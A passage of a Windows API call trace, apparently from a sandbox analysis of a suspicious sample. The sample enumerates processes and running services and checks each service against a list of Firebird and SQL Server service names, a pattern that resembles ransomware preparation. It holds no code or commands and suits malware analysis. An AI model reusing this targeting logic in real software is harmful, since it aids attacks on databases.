	[0175.864] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0175.865] lstrlenW (lpString="conhost.exe") returned 11
	[0175.865] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1
	[0175.865] lstrlenW (lpString="mode.com") returned 8
	[0175.865] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0175.866] lstrlenW (lpString="consent.exe") returned 11
	[0175.866] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0
	[0175.866] CloseHandle (hObject=0x594) returned 1
	[0175.866] Sleep (dwMilliseconds=0x1f4) 
	[0176.425] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x667f48
	[0176.425] EnumServicesStatusExW (in: hSCManager=0x667f48, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 0
	[0176.426] GetLastError () returned 0xea
	[0176.426] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x1c28) returned 0x45c6cc8
	[0176.426] EnumServicesStatusExW (in: hSCManager=0x667f48, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45c6cc8, cbBufSize=0x1c28, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45c6cc8, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 1
	[0176.427] CloseServiceHandle (hSCObject=0x667f48) returned 1
	[0176.430] lstrlenW (lpString="Appinfo") returned 7
	[0176.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0176.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0176.430] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0176.430] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0176.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0176.430] lstrlenW (lpString="AppXSvc") returned 7
	[0176.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0176.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0176.430] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0176.430] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0176.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0176.430] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0176.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0176.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0176.430] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0176.430] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0176.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0176.430] lstrlenW (lpString="Audiosrv") returned 8
	[0176.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0176.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0176.430] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0176.430] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0176.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0176.430] lstrlenW (lpString="BFE") returned 3
	[0176.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0176.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0176.430] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0176.430] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0176.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0176.430] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0176.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0176.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0176.431] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0176.431] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0176.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0176.431] lstrlenW (lpString="CDPSvc") returned 6
	[0176.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0176.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0176.431] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0176.431] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0176.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0176.431] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0176.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0176.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0176.431] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0176.431] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0176.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0176.431] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0176.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0176.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0176.431] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0176.431] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0176.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0176.431] lstrlenW (lpString="CryptSvc") returned 8
	[0176.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0176.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0176.431] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0176.431] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0176.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0176.431] lstrlenW (lpString="DcomLaunch") returned 10
	[0176.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0176.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0176.432] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0176.432] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0176.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0176.432] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0176.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0176.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0176.432] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0176.432] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0176.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0176.432] lstrlenW (lpString="Dhcp") returned 4
	[0176.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0176.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0176.432] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0176.432] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0176.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0176.432] lstrlenW (lpString="Dnscache") returned 8
	[0176.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0176.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0176.432] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0176.432] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0176.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0176.432] lstrlenW (lpString="DPS") returned 3
	[0176.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0176.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0176.432] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0176.432] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0176.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0176.432] lstrlenW (lpString="DsmSvc") returned 6
	[0176.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1
	[0176.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1
	[0176.432] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1
	[0176.433] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1
	[0176.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1
	[0176.433] lstrlenW (lpString="DusmSvc") returned 7
	[0176.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0176.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0176.433] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0176.433] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0176.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0176.433] lstrlenW (lpString="EventLog") returned 8
	[0176.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0176.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0176.433] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0176.433] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0176.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0176.433] lstrlenW (lpString="EventSystem") returned 11
	[0176.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0176.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0176.433] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0176.433] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0176.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0176.433] lstrlenW (lpString="FontCache") returned 9
	[0176.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0176.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0176.433] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0176.433] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0176.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0176.433] lstrlenW (lpString="gpsvc") returned 5
	[0176.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0176.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0176.433] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0176.433] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0176.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0176.434] lstrlenW (lpString="iphlpsvc") returned 8
	[0176.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0176.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0176.434] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0176.434] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0176.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0176.434] lstrlenW (lpString="KeyIso") returned 6
	[0176.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0176.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0176.434] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0176.434] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0176.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0176.434] lstrlenW (lpString="LanmanServer") returned 12
	[0176.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0176.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0176.434] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0176.434] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0176.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0176.434] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0176.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0176.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0176.434] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0176.434] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0176.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0176.434] lstrlenW (lpString="lfsvc") returned 5
	[0176.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0176.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0176.434] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0176.434] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0176.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0176.434] lstrlenW (lpString="lmhosts") returned 7
	[0176.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0176.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0176.435] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0176.435] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0176.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0176.435] lstrlenW (lpString="LSM") returned 3
	[0176.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0176.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0176.435] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0176.435] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0176.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0176.435] lstrlenW (lpString="MpsSvc") returned 6
	[0176.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0176.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0176.435] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0176.435] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0176.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0176.435] lstrlenW (lpString="NcbService") returned 10
	[0176.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0176.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0176.435] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0176.435] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0176.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0176.435] lstrlenW (lpString="netprofm") returned 8
	[0176.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0176.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0176.435] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0176.435] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0176.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0176.435] lstrlenW (lpString="NgcSvc") returned 6
	[0176.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0176.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0176.436] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0176.436] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0176.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0176.436] lstrlenW (lpString="NlaSvc") returned 6
	[0176.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0176.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0176.672] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0176.672] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0176.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0176.702] lstrlenW (lpString="nsi") returned 3
	[0176.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0176.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0176.702] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0176.702] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0176.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0176.702] lstrlenW (lpString="PcaSvc") returned 6
	[0176.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0176.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0176.702] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0176.702] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0176.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0176.702] lstrlenW (lpString="PlugPlay") returned 8
	[0176.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0176.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0176.703] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0176.703] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0176.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0176.703] lstrlenW (lpString="Power") returned 5
	[0176.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0176.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0176.703] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0176.703] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0176.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0176.703] lstrlenW (lpString="ProfSvc") returned 7
	[0176.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0176.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0176.703] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0176.703] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0176.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0176.703] lstrlenW (lpString="RpcEptMapper") returned 12
	[0176.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0176.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0176.703] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0176.703] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0176.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0176.703] lstrlenW (lpString="RpcSs") returned 5
	[0176.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0176.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0176.703] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0176.703] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0176.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0176.703] lstrlenW (lpString="SamSs") returned 5
	[0176.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0176.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0176.703] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0176.704] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0176.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0176.704] lstrlenW (lpString="Schedule") returned 8
	[0176.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0176.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0176.704] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0176.704] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0176.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0176.704] lstrlenW (lpString="SecurityHealthService") returned 21
	[0176.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0176.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0176.704] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0176.704] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0176.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0176.704] lstrlenW (lpString="SENS") returned 4
	[0176.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0176.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0176.704] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0176.704] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0176.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0176.704] lstrlenW (lpString="ShellHWDetection") returned 16
	[0176.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0176.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0176.704] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0176.704] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0176.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0176.704] lstrlenW (lpString="Spooler") returned 7
	[0176.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0176.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0176.704] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0176.704] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0176.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0176.705] lstrlenW (lpString="StateRepository") returned 15
	[0176.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0176.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0176.705] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0176.705] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0176.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0176.705] lstrlenW (lpString="SysMain") returned 7
	[0176.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0176.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0176.705] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0176.705] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0176.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0176.705] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0176.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0176.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0176.705] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0176.705] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0176.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0176.705] lstrlenW (lpString="Themes") returned 6
